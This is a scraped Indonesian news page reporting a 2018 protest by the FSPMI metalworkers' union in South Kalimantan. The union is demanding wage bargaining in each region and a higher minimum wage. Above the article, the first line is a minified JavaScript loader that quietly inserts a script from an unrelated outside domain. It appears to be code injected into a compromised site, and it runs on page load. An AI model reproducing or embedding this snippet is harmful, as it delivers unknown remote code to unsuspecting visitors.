(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Peristiwa

Federasi Serikat Pekerja Metal Indonesia Tolak Upah Murah


BANJARMASIN, Federasi Serikat Pekerja Metal Indonesia (FSPMI) Kalsel turun ke jalan demo di DPRD Kalsel, Selasa (30/10). FSPMI Kalsel mendesak Pemprov Kalsel untuk mengindahkan Surat Edaran Menaker RI No: B.240/M-Naker/PHISSK-UPAH/X/2018.

FSPMI Kalsel menyebut ada arogansi kekuasaan pusat, karena dalam hal ini pemerintah menggunakan ‘tangan besi’, terkait kenaikan UMP yang ditentukan sepihak pemerintah pusat, tanpa ada perundingan di daerah.

“Kita di setiap daerah ada dewan pengupahan provinsi. Namun, selama tiga tahun ini dilemahkan dan dibekukan. Tidak ada apa-apanya,” ujar Yoeyoen Indharto, Ketua FSMPI Kalsel.

FSPMI Kalsel meminta upah layak yang seharusnya ditentukan dengan Kebutuhan Hidup Layak (KHL) daerah setempat dengan kualitas dan kuantitas KHL yang terus ditingkatkan.

Sejak diberlakukannya PP nomor 78/2015 kenaikan UMP di Kalimantan Selatan tidak pernah lagi 2 digit, tahun 2017 hanya 8,21 persen dan tahun 2018 sebesar 8,71 persen dan nanti pada tahun 2019 adalah sebesar 8,03 persen.

“Semua sama dari Sabang sampai Merauke kenaikan hanya 8,03 persen mulai tahun 2017-2019. Sebelumnya kenaikan upah kita rata-rata di 12 persen, bahkan di 2013 kita melonjak di angka 22 persen,” ucap Ketua FSMPI Kalsel.


Upah minimum kabupaten/kota yang terancam hilang juga menjadi fokus FSPMI. Mereka mengaku prihatin terhadap kabupaten/kota yang tidak cukup mampu, karena buruh diikutkan dalam ketentuan upah di Indonesia.

Dalam tiga tahun ini FSPMI terus meneriakkan perihal jatuhnya daya beli buruh. Upah murah selalu mengakibatkan daya beli buruh lemah. Dengan ada banyaknya jumlah buruh di Indonesia, hal ini tentunya akan sangat mengganggu perekonomian. “Perekonomian bangsa akan jeblok” kata Yoeyoen.

Ia juga mengatakan, jangan takut untuk jualan ke luar negeri bahwa di upah di Indonesia merupakan upah layak.

“Masa kalah dengan Vietnam yang sekarang sudah 181 USD. Sedangkan di Indonesia masih 171 USD per kapita. Dulu Asia Tenggara memimpin, kenapa sekarang seperti ini? Kemana hadirnya negara?”

Sebesar 73 triliun uang buruh di BPJS dipakai oleh pemerintah  untuk membangun infrastruktur. “73 triliun tidak sedikit. Sementara kita ditekan, upah ditekan,” katanya.

FPSMI Kalsel memberi waktu 15 hari agar DPRD Kalsel dapat bertemu dan membicarakan perihal tuntutan mereka. Jika dalam waktu 15 hari DPRD tidak memberi respon, pihak FPSMI mau tidak mau akan kembali melanjutkan aksi. (mario)

Reporter : Mario
Editor : Abi Zarrin Al Ghifari

Desy Arfianty

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

5 bulan ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

5 bulan ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

5 bulan ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

5 bulan ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

5 bulan ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

5 bulan ago

This website uses cookies.